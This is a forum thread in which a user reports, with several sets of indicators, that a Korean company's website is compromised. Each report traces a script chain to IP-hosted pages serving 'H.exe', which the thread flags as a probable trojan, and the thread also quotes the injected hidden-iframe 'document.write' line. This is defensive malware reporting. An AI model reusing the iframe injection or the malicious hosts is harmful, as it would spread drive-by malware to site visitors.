hxxp://www.trigem.co.kr/

[pcaccent]

hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
               hxxp://222.233.53.126/MEDIA/help.html
                     hxxp://222.233.53.126/MEDIA/H.exe

c:\windows\system32\drivers\windf.exe - probably a variant of Win32/Genetik trojan
C:\WINDOWS\system32\drivers\windf.hlp - probably a variant of Win32/Genetik trojan

[JohnC]

Thanks.

[pcaccent]

hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
            hxxp://222.122.138.92/index.html
                  hxxp://222.122.138.92/H.exe

[JohnC]

Thank you.

[pcaccent]

hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
            hxxp://222.122.138.85/index.html
                  hxxp:////222.122.138.85/H.exe

[JohnC]

Thanks.

[pcaccent]

hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
            hxxp://121.125.78.141/index.html
                  hxxp//121.125.78.141/H.exe

[JohnC]

Thank you.

[pcaccent]

hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
            hxxp://222.122.138.85:9933/logo/index.html
                  hxxp://222.122.138.85:9933/logo/H.exe

[pcaccent]

hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
            hxxp://61.97.32.53:85/help.html
                  hxxp://61.97.32.53:85/H.exe

[JohnC]

Thank you.

[pcaccent]

Today : May 26 2008 9:47 AM(GMT+9)

May 24 2008

document.write('<iframe height=0 width=0 src="hxxp://121.124.127.170/help.html"></iframe>');
      hxxp://121.124.127.170/H.exe

May 25 2008

document.write('<iframe height=0 width=0 src="hxxp://222.122.138.74/WMRoot/index.html"></iframe>');
      hxxp//222.122.138.74/WMRoot/H.exe

[JohnC]

Thank you.